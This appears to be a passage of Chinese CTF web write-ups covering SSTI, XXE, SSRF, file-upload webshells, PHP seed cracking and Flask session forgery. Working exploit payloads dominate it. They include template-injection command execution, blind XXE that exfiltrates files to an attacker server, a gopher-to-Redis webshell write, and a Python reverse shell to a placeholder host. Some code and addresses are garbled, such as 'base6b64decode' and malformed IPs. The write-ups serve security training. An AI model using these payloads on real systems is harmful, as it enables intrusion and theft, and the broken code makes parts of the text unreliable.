这里要注意路径的问题,因为在actionIndex中已经把路径定义到了userIndex.php,所以要访问flag.php还需要跳回上一层目录,且由于定义的路径没有用/结尾,所以还需要加一个/号,于是得到最后的payload是img_file=/../flag.php
# 文件上传
# CV Maker
**考点:exif_imagetype()的绕过
这个函数的绕过在我以前一篇文章中写到过:这里
题目除了注册登录其他点其他地方都没啥反应,那就随便注册一个账号登录进去,只有一个上传头像的功能。
上传普通一句话木马文件会回显这样的东西:
那就直接用GIF89a文件头绕一下试试看:
直接显示上传成功了,,然后就看一下文件的位置,右键点击图片链接检查一下:
找了的shell的位置,然后蚁剑连一下,flag在根目录下,直接读取即可
# SSTI
# Double Secret
考点:
- flask框架开启debug模式会暴露源码
- RC4加密算法
这道题目一开始没给什么提示,让我们去Find Secret
扫了后台没啥东西,然后看了wp才知道正确姿势是去访问/secret
按照这个思路,那么"Tell me your secret"应该就是让我们传入参数secret
传入参数有回显,存在ssti可能性,但是回显值和我们输入值不相同,传入2试试
直接报错,并且开启了debug模式,借此我们可以看到一部分关键源码
源码如下(关键地方已做注释):
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
#使用RC4加密算法,密钥为"HereIsTreasure"
rc=rc4_Modified.RC4("HereIsTreasure") #解密
#将我们传入的secret参数进行RC4加密
deS=rc.do_crypt(secret)
#进行模板渲染,并用safe函数过滤
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a
Open an interactive python shell in this frame
2
3
4
5
6
7
8
9
10
11
12
13
确实存在ssti注入漏洞,但是服务端会对传入的参数进行RC4算法加密,这就是为什么回显和我们传参的值不相同,但是RC4是一种对称加密算法,也就是说,我们如果知道密钥,就可以进行解密。
所以题目思路就是将payload进行一次RC4解密,我们传入解密后的数据再经过一次RC4加密之后就成了正常的payload。
下面的RC4加密解密脚本来自于一位师傅的博客:这里
我做了一点点小小的改动,加了一个url编码功能,脚本如下:
#python3
# -*- coding: utf-8 -*-
import base64
from urllib import parse
def get_message():
print("输入你的信息:")
s = input()
return s
def get_key():
print("输入你的秘钥:")
key = input()
if key == '':
key = 'none_public_key'
return key
def init_box(key):
"""
S盒
"""
s_box = list(range(256)) #我这里没管秘钥小于256的情况,小于256应该不断重复填充即可
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
#print(type(s_box)) #for_test
return s_box
def ex_encrypt(plain,box,mode):
"""
利用PRGA生成秘钥流并与密文字节异或,加解密同一个算法
"""
if mode == '2':
while True:
c_mode = input("输入你的解密模式:Base64 or ordinary\n")
if c_mode == 'Base64':
plain = base6b64decode(plain)
plain = bytes.decode(plain)
break
elif c_mode == 'ordinary':
plain = plain
break
else:
print("Something Wrong,请重新新输入")
continue
res = []
i = j =0
for s in plain:
i = (i + 1) %256
j = (j + box[i]) %256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j])% 256
k = box[t]
res.append(chr(ord(s)^k))
cipher = "".join(res)
#print(cipher)
if mode == '1':
# 化成可视字符需要编码
print("加密后的输出(没经过任何编码):")
print(cipher)
# base64的目的也是为了变成可见字符
print("base64后的编码:")
print(str(base6b64encode(cipher.encode('utf-8')),'utf-8'))
if mode == '2':
print("解密后的密文:")
print(cipher)
print("url编码之后密文:")
print(parse.quote(cipher))
def get_mode():
print("请选择加密或者解密")
print("1. Encrypt")
print("2. Decode")
mode = input()
if mode == '1':
message = get_message()
key = get_key()
box = init_box(key)
ex_encrypt(message,box,mode)
elif mode == '2':
message = get_message()
key = get_key()
box = init_box(key)
ex_encrypt(message, box, mode)
else:
print("输入有误!")
if __name__ == '__main__':
while True:
get_mode()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
将我们的payload进行RC4解密:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
url编码之后密文:
.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%9C%1A%3A%3F%C3%A6%C2%B2%20%C2%A2%C3%82%C2%B9%0F%0B%C3%95G%23-%C3%A9%C2%A2%19%C3%85%C2%B2%C2%8F%22%C3%AE%C2%A3%C2%93l%C3%8A%7B%03%C3%B9%C2%B6%C2%92%C3%97%11%20%C3%9C%C3%AE%C3%AA%02
2
3
4
传参
根目录下存在flag.txt,改一下payload继续解密一次即可
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
url编码之后密文:
.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23~%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96
2
3
4
传参,拿到flag
# I_❤️_Flask
考点:
- flask模板注入
题目存在一个隐藏参数name,知道这一点以后常规的flask框架的ssti的payload都能打。
# FlaskApp
考点:
- Flask开启debug模式会导致PIN码攻击
获取Flask的PIN码需要以下条件:
- 运行app的用户名,在/etc/passwd
- module name,一般为flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__'))
--> 结果为Flask- app.py的绝对路径,debug模式下就可以直接看见
- MAC地址的十进制数,一般在
/sys/class/net/eth0/address
- 机器的ID:对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在
/etc/machine-id
或/proc/sys/kernel/random/boot_i
,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup
,序列号为1那行
解题
题目有base64加密和base64解密的功能,还有个hint:失败是成功之母,先测试是否有SSTI
拿到解码模块去解码
显然存在SSTI,结合给的hint,看看是否开启了debug模式,只需要随便输入不合符base64编码规范的字符串进行解码就可以了
题目开启了debug模式,可以考虑使用PIN码攻击。下面就开始读取必要的信息
//读取用户名
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read()}}{% endif %}{% endfor %}
2
依然用同样的方法读取剩下所必要的信息,由与过程大致相同,这里就略过了。最终利用脚本得到PIN码
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb' # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485410516817', # str(uuid.getnode()), /sys/class/net/eth0/address
'6c729797fddf9cd2b01fb10d359bb020ffdc1b17621333bca5289136d2c88701' # get_machine_id(),/proc/self/cgroup
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
输入PIN码之后用os模块为所欲为
# flasklight
直接利用GitHub的这个项目中所给的subprocess.Popen.
这个模块的payload来打
寻找该模块的exp:
import requests
from lxml import etree
url = 'http://fb81170e-ce76-45d4-8d45-c1ff9ba2f3e1.node3.buuoj.cn/?search={{[].__class__.__base__.__subclasses__()}}'
res = requests.get(url=url)
print(res.text)
# Xpath:/html/body/h3[1]
html = etree.HTML(res.text)
a = html.xpath("/html/body/h3[1]/text()")[0]
context = a.split(",")
count = 0
for i in context:
if "subprocess.Popen" in i:
print(i)
print(context.index(i))
break
#print(context)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
最后payload:
{{[].__class__.__base__.__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
{{[].__class__.__base__.__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
2
3
# CISCN2019华东南赛区Web11
考点:
- Smarty SSTI
笔记
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。
根据题目的提示,可以知道是Smarty
模板,经过简单的Google之后发现这个模板存在SSTI漏洞,估计这个题目就是考的这一点。
页面的右上角会显示我们的IP
地址,猜想可以通过修改XFF头来造成SSTI,于是我将XFF头改成了{1+1}
:
确实存在XFF头处的SSTI,然后经过简单的查询之后,发现使用{$smarty.version}
来显示当前模板的版本。
然后发现Smarty的{if xxx}{/if}
类似于Flask,可以执行PHP代码:
# payload
{if system('ls /')}{/if}
{if system('cat /flag')}{/if}
2
3
4
5
# XSS
暂无
# XXE
# True XML cookbook
考点:
- XXE内网探测
- Linux关键文件位置
输入用户名密码,抓包发现是XML格式的数据:
尝试用XXE读取敏感文件:
读取成功,payload如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><username>&xxe;</username><password>123</password></user>
2
3
4
但是经过其他尝试之后没有发现flag,接着读取一下/etc/hosts,发现一个IP地址:
这里很可能是要做内网探测了,先尝试用http协议访问一下该ip地址:
报错了,那么接下来就爆破一下内网的主机:
题目还是比较友好,在17126.2011这台主机中发现了flag。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://17126.2010">
]>
<user><username>&xxe;</username><password>123</password></user>
2
3
4
# [SUCTF 2018]Homework
考点:
- PHP原生类
SimpleXMLElement
进行Blind XXE - 二次注入
# 知识点
PHP的原生类SimpleXMLElement
的__construct
方法可以用来加载一个远程的xml文件:官方文档
我这里就截张图简单的说一下:
主要是第二个参数options
,官方中默认使用了一些预定义常量来作为它的值,如果要进行外部实体注入的话,这里要填的是LIBXML_NOENT
,这个参数允许解析外部实体,同样,在官方文档中也提示了它的安全问题:
# 解题
进入环境给了一个calc的类:
<?php
class calc{
function __construct__(){
calc();
}
function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;
case 'b':
$method="-";
break;
case 'c':
$method="*";
break;
case 'd':
$method="/";
break;
default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
点击CALC按钮会返回计算结果,抓包查看:
结合它给的源码,不难猜测每个参数的意义:
- module:调用的类
- args[]:一个数组,分别为$args1,$method,$args2
在__construct
方法中调用了calc()
方法,所以这里可以触发计算结果的原因很可能是new了一个calc
对象,这样可以触发构造方法,从而调用calc()
方法,从而计算了结果。
结合之前所说的SimpleXMLElement#__construct
方法,我们可以在远程VPS构造一个XML文件,然后利用这个方法进行远程加载,造成XXE,远程VPS的XML文件:
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://{IP}/xxe/evil.xml">
%int;
%all;
%send;
]>
2
3
4
5
6
7
evil.xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://{IP}/xxe/test.php?file=%file;'>">
2
test.php
<?php
file_put_contents('1.txt',$_GET['file']);
2
加载xml文件:
这里注意options
参数,我们如果直接传预定义的常量名的话会被当成字符串解析,所以这里应该传入常量的值(经过我的测试16也可以):
然后到VPS上收数据:
接着就可以拿源码了,过程我就不多说了,我直接说拿到源码之后的利用方式:
function.php
function sql_result($sql,$mysql){
if($result=mysqli_query($mysql,$sql)){
$result_array=mysqli_fetch_all($result);
return $result_array;
}else{
echo mysqli_error($mysql);
return "Failed";
}
}
function upload_file($mysql){
if($_FILES){
if($_FILES['file']['size']>2*1024*1024){
die("File is larger than 2M, forbidden upload");
}
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
$filehash=md5(mt_rand());
if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
$new_filename="./upload/".$filehash.".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}else{
$hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
$new_filename="./upload/".$hash[0][0].".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}
}else{
die("Not upload file");
}
}
}
function w_addslashes($string){
return addslashes(trim($string));
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
show.php
if(isset($_GET['action'])&&$_GET['action']=="view"){
if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
if(!empty($_GET['filename'])){
$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
$file_name=$file_info['0']['2'];/
echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
$new_sig=mt_rand();
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
die("<br>new sig:".$new_sig);
}else{
die("Null filename");
}
}
2
3
4
5
6
7
8
9
10
11
12
13
在function.php中对post的sig
进行了转义,但是在show.php进行update
的时候却没有进行转义造成了二次注入:
所以注入点就在文件上传的时候的数据包的sig
处,function.php中的函数在submit.php中被调用,所以在submit.php上传文件的时候抓包修改恶意的sig数据,然后在show.php中拿flag,要注意的一点是show.php只允许localhost访问,所以还需要利用XXE进行SSRF:
evil.xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=4.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://{IP}/xxe/test.php?file=%file;'>">
2
-- sig
-- 多余的就不写了,直接写最后一步吧
' and extractvalue(1,concat('~',(select REVERSE(flag) from flag)))#
-- to hex
0x2720616E64206578747261637476616C756528312C636F6E63617428277E272C2873656C656374205245564552534528666C6167292066726F6D20666C616729292923
2
3
4
5
6
注意上传完之后需要再次请求一下远程的xml文件:
# SSRF
# EZ三剑客-EzWeb
考点:利用 gopher协议攻击redis端口
进入题目环境,题目要求输入一个url,感觉是很明显的SSRF,右键查看源代码,发现提示
传入secret参数,给了一个IP地址:173.49.220.9
提交url http://173.49.220.9 出现了一个一模一样的页面

做一波内网主机探测,发现173.49.220.10这台主机上貌似有东西

根据提示,爆破一下端口,发现了6379端口

6379是Redis的默认端口,利用gopher协议直接写shell试一下
gopher://173.49.220.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
写入shell之后再提交 http://173.49.220.10/shell.php?cmd=system('ls${IFS}/'); (需要绕过一下空格)
尝试读取flag
http://173.49.220.10/shell.php?cmd=system('cat${IFS}/flag');
# [网鼎杯 2020 白虎组]PicDown
考点:
- 简单的SSRF
- linux系统知识
- Python反弹shell
提示
虽然把这道题目放到了SSRF分类,但是严格来说,对于这道题目SSRF只能算是一个起点,真正重要的是对于Linux下的某些知识的熟悉程度。
进入题目环境拿到一个输入框,并且发现提交的参数是url
:
感觉存在SSRF,看路由感觉像flask,读一下文件试一试:
本来打算用local_file://
来读取文件,结果发现没反应,后来想到,在python3环境下可以省略该协议:
读一下app.py
,拿到了flask的源码:
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
简单阅读源码后,可以得到以下两点信息:
/page
路由下存在urllib.urlopen(url)
语句,且url
参数是我们可控的,这是SSRF产生的原因。/no_one_know_the_manager
路由下会拿key
和SECRET_KEY
进行比较,如果正确则会执行传入的shell
,且执行的命令是没有回显的。
想要执行命令,就要得到SECRET_KEY
,在源码的一开始就告诉了它在哪里:
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
2
3
4
通过打开/tmp/secret.txt
文件,然后读取SECRET_KEY
,最后删掉该文件。
关于这题目的考点,在[V&N2020 公开赛]CHECKIN
中就已经碰到过了:在Linux系统下,如果打开了一个文件没有关闭的话,即使将文件删除,也可以在/proc/[pid]/fd/
这个目录下看到该文件的内容。
结合之前存在的SSRF,我们可以通过查看上面说到的目录中存在的符号链接来查看secret.txt
文件的内容,由于不知道当前flask应用的pid
,可以使用/proc/self/
来代替(这里涉及到了一些Linux的知识,可参考:这篇文章),由于Linux下的文件描述符都是非负整形,所以我们可以爆破一下/proc/self/fd/
目录下的文件描述符:
在/proc/self/fd/3
中发现了SECRET_KEY
,接着传入参数,因为执行的命令没有回显,所以直接反弹一个shell:
payload如下:
http://302424f1-e714-44a6-b67d-a8d749c7e078.node3.buuoj.cn/no_one_know_the_manager?key=x6IdiBiuJg0dmEowLErZgcr8yAyt2Zp5oeY4XN0xQEQ=&shell=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{Your_IP}',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
# 其他
# 枯燥的抽奖
考点:PHP伪随机数爆破
关于随机数的参考文章:这里,已经讲的相当详细了。
进入题目F12发现提示check.php,下面是源码
// check.php
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
随机数的种子是0~999999999之间的随机数,随机数取的是0~字符串str_long1的长度值,并且给了生成字符串的前10位。
接下来就是利用给出的字符串得到随机数,并且转换成符合规则的数据格式,EXP如下:
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'Sd8QsWB02a'
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if (str2[i] == str1[j]):
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break
print(res)
2
3
4
5
6
7
8
9
10
11
将得到的数据放到工具里去爆破,得到种子:
根据种子生成字符串:
<?php
mt_srand(681929264);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 20);
echo "<p id='p1'>".$str_show."</p>";
2
3
4
5
6
7
8
9
10
11
这里有个小坑要注意一下,爆破出的种子的PHP版本是7.1.0+,必须使用符合该版本的PHP环境来生成目标字符串,否则就会得到错误结果。
将得到的结果输入即可得到flag

# Can you guess it?
考点:basename()函数的漏洞
basename()函数详情:W3school PHP basename() 函数
例如index.php/a.php
经过basename()处理之后就会得到a.php
,index.php/a.php/b.php
经过处理之后会得到b.php
,但是basename()函数会忽略%81~%ff这种超过ascii码表范围的字符,也就是说index.php/a.php/%81
经过处理之后仍然是a.php
。
本地测试如下:
题解:
题目一开始就直接给了源码:
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
这种算法产生的随机数,并且用hash_equals()进行比较,感觉爆破没戏了,,其实本题目中这个随机数就是一个障眼法,真正的突破点就在basename()函数上。
正则会对URL进行匹配,如果URL以[config.php加上任意数量个/符号]结尾,则会直接退出程序,比如:
一般来说,这种正则可以利用index.php/config.php/a
来进行绕过,但是这样的payload经过basename()函数处理之后就会得到a,无法获得config.php的源码。
这时候利用上文提到过的basename()会忽略%80~%ff之间的字符这一特点,传入payloadindex.php/config.php/%80
这样经过basename()解析之后得到结果仍然是config.php,同时也绕过了正则的匹配。
# encode and encode
考点:
- json格式数据的unicode编码绕过
- file_get_contents()触发php伪协议
json数据unicode编码参考文章:在这里
题目直接给了源码(已经对某些关键部分进行注释):
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input'); //接受我们传入的数据流
$json = json_decode($body, true); //对传入的参数进行json格式的解码并转化为数组
// is_valid()函数禁用了常用的伪协议和flag关键字
// 所以我们传入的字符串应该是json格式
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
程序会对我们传入的数据流进行json格式的解码,但是is_valid()函数却是仍然使用的解码之前的数据进行正则匹配,这就导致我们可以利用json格式数据中的unicode编码来绕过正则的匹配,在经过解码之后,数据仍然为正常的字符串。
下面是一个小小的测试:

这样一来,我们就可以把关键字进行json格式的unicode编码,这样既绕过了正则匹配,同时又不影响数据的正常解析:
{"page" : "\u0070\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}


# [SWPU2019]Web3
考点:
- flask session伪造
- 软链接攻击
- 代码审计
进入题目是登录框,这里任意账号密码登录即可,登录后有一个上传文件的按钮,但是我们却没有权限

没权限,结合题目的网站名称"CTF-Flask-Demo",盲猜一波Flask session伪造。
- Flask的session是存放在客户端的,一旦secret_key泄露,就会导致session伪造
看一下cookie:

下面找一下secret_key
- 一般来说,CTF中涉及Flask session伪造的题目都会给出secret_key,一般会出现在在题目泄露的源码中、robots.txt中、响应头中。
看一下robots.txt,返回404
再看一下响应头,发现了可疑的信息
base64解码一下,拿到secret_key
下面用工具开始解码和伪造:flask session编码解码工具github项目地址
解码之后的结果:
{'id': b'100', 'is_login': True, 'password': b'admin', 'username': b'admin'}
既然账号密码全都是admin还没有权限的话,这里我猜应该是改id
{'id': b'1', 'is_login': True, 'password': b'admin', 'username': b'admin'}
进行编码
编码之后的结果:
.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PL0IojAwPKkkMNwErLi1OLcpLzE3FIlkLAF55HTM.XxOCxQ.Kt2NK_KSt2lT5nZL3BOpgIfEja8
改一下cookie,可以上传文件了
查看网页源代码可以拿到文件上传部分的源码,源码如下(部分关键位置已经做了注释)
# 路由1/upload get post方法获取参数
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
